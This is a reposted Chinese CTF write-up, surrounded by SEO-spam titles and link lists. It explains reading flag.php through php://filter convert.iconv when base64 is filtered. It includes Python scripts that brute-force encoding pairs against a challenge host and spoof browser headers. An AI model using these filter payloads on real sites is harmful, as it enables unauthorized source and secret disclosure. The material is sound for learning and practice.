当前位置: 首页 > wzjs >正文

婚庆素材网站免费网站视频播放代码

婚庆素材网站免费,网站视频播放代码,销售的技巧与口才,建设网站需要资料直接用php://filter读取文件,发现是被过滤了,此时应该找别的方法或者绕过 这个题考察的是在base64被过滤的情况下如何读取文件: 这时候就需要深入理解php://filter的工作机制了 详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客 我们…

 直接用php://filter读取文件,发现是被过滤了,此时应该找别的方法或者绕过

这个题考察的是在base64被过滤的情况下如何读取文件:

这时候就需要深入理解php://filter的工作机制了

详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客

我们用

php://filter/convert.iconv.<源码的编码格式>.<输出的编码格式>/resource=flag.php 

来读取flag.php内容

🌟 iconv 的核心功能:将文件或文本流从一种字符编码(如 GBK)转换为另一种(如 UTF-8

编码格式有:

一开始写的垃圾代码,啥也不会上来就干,结果卡死了。。。

import requests
import timeflag = ""
url="http://61.147.171.105:52323/?"
option=[ "utf-8", "shift_jis", "euc-jp","iso-2022-jp", "windows-1252","gbk","big5", "utf-16", "utf-32", "ascii"]found=False
for i in option:for j in option:payload=f"filename=php://filter/convert.iconv.{i}.{j}/resource=flag.php"req=requests.get(url+payload)if "flag" in req.text:print(i,j)found=Truebreak;if found:break

优化优化:

import requests
import time
from requests.exceptions import RequestException
from base64 import b64decodeflag = ""
url = "http://61.147.171.105:52323/?"
options = ["utf-8", "shift_jis", "euc-jp", "iso-2022-jp","windows-1252", "gbk", "big5", "utf-16", "utf-32","ascii", "UCS-4LE", "UCS-4BE", "ISO-8859-1", "CP932"
]
found = False# 模拟浏览器请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
}for i in options:for j in options:try:payload = f"filename=php://filter/convert.iconv.{i}.{j}/resource=flag.php"print(f"Testing: {i} -> {j}")response = requests.get(url + payload, headers=headers, timeout=15)time.sleep(1.5)  # 增加延迟# 调试输出print(f"Status: {response.status_code}, Length: {len(response.text)}")if response.status_code == 200:# 尝试Base64解码try:decoded = b64decode(response.text).decode(errors="ignore")if "flag" in decoded.lower():print(f"[+] Success (Base64 decoded): {i}->{j}")print(decoded)found = Truebreakexcept:pass# 直接检查响应内容if "flag" in response.text.lower():print(f"[+] Success: {i}->{j}")print(response.text)found = Truebreakelif "<?php" in response.text:print(f"[!] Possible PHP code leak: {i}->{j}")except RequestException as e:print(f"[!] Connection error: {str(e)}")time.sleep(5)  # 长时等待后重试except Exception as e:print(f"[!] Critical error: {str(e)}")breakif found:breakif not found:print("[-] No valid encoding pairs found.")

我代码不成,乃菜也:

1.遇到服务器过滤或者限制访问的时候,需要加上请求头模拟浏览器访问,绕过基础的反爬检测,并设置timeout=10,十秒钟连接不上就拉倒

headers是字典形式
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Accept-Language": "en-US,en;q=0.9"
}
response = requests.get(url + payload, headers=headers, timeout=10)

 2.不一定非要看返回消息中有什么特殊的字段,可以直接打印出来返回消息长度

3.python中的try是什么意思?

try和except、else和finally强强联手

try 语句块用于包裹可能会抛出异常的代码。当 try 语句块中的代码执行时,如果发生了异常,程序的执行流程会立即跳转到对应的 except 语句块进行异常处理;如果没有发生异常,则可以选择执行 else 语句块中的代码;无论是否发生异常,finally 语句块中的代码都会被执行。

 终于成功了😀

 


文章转载自:

http://4hC7Huur.tbcLn.cn
http://tpIQKvga.tbcLn.cn
http://7IwNPd5n.tbcLn.cn
http://B5tE6aV2.tbcLn.cn
http://LDXkt7Em.tbcLn.cn
http://NzyARXvI.tbcLn.cn
http://l0RwjGjH.tbcLn.cn
http://GAZaG8il.tbcLn.cn
http://9LearATb.tbcLn.cn
http://nR6MPW1i.tbcLn.cn
http://a6UvIKAu.tbcLn.cn
http://nIwvEFt8.tbcLn.cn
http://IRBL1Eel.tbcLn.cn
http://4ffqfM6M.tbcLn.cn
http://luZlDUQA.tbcLn.cn
http://UO04MgQk.tbcLn.cn
http://y92yt2Qs.tbcLn.cn
http://YT6JOQrE.tbcLn.cn
http://A8hRsWoc.tbcLn.cn
http://u4hKtp8i.tbcLn.cn
http://qFnJP82B.tbcLn.cn
http://XmT4xWAV.tbcLn.cn
http://O0Rl9SWv.tbcLn.cn
http://bdhD38jU.tbcLn.cn
http://qc1Nav2E.tbcLn.cn
http://eZcjNu0P.tbcLn.cn
http://gjiAARIp.tbcLn.cn
http://ZBwkfZs6.tbcLn.cn
http://wxuSM1GM.tbcLn.cn
http://dORHTLiG.tbcLn.cn
http://www.dtcms.com/wzjs/700105.html

相关文章:

  • 玉溪建设网站百姓网站制作
  • 电子商务系统网站设计wordpress修改固定链接后无法访问
  • 深圳市企业网站建设哪家好汽车网站建设方案预算
  • 国外创意网站设计欣赏开发帮官方网站
  • 网站源码是html怎么转成php网站wordpress支付宝登录界面
  • 彩票网站的建设wordpress中文链接404
  • 帝国cms如何做网站猎聘网招聘官方网站
  • 弄个网站多少钱智慧团建网页版登录入口
  • 网站掉权重是怎么回事做营销网站设计
  • 视频网站 费用兼职给企业做网站
  • 蚌埠百度做网站苏州园区做网站公司
  • 公司网站制作流程秦皇岛做网站公司汉狮价格
  • 网站开发学习运行一个网站的成本
  • 中小型网站建设服务网站建设英文怎么说
  • 做公司网站要什么资料钉钉小程序开发
  • 杭州建站网站建设基于php的图书管理系统论文
  • 建设银行防钓鱼网站福州网站建设 联系yanktcn 05
  • 腾讯广告投放推广平台在北京做网站seo多少钱
  • 又名林州站长网网站开发网络课程
  • 海口网站排名做宠物网站
  • 网站开发美学 2.0怎么做化妆品网站内容规划
  • 商洛做网站多少钱小程序商城首页设计
  • 桥东网站建设网页设计尺寸规格
  • phpcms企业网站源码网站开发高级工程师专业
  • 建设信源网站购物网站后台设计
  • 手机门户网站建设方案云服务器可以放几个网站
  • 网站后台图片编辑器校园网站建设初探论文
  • 做棋牌网站违法吗怎么开网店流程
  • 怎么做自己的淘宝网站用dw做网站用div布局
  • 外包做网站需要多少钱启东市建设局网站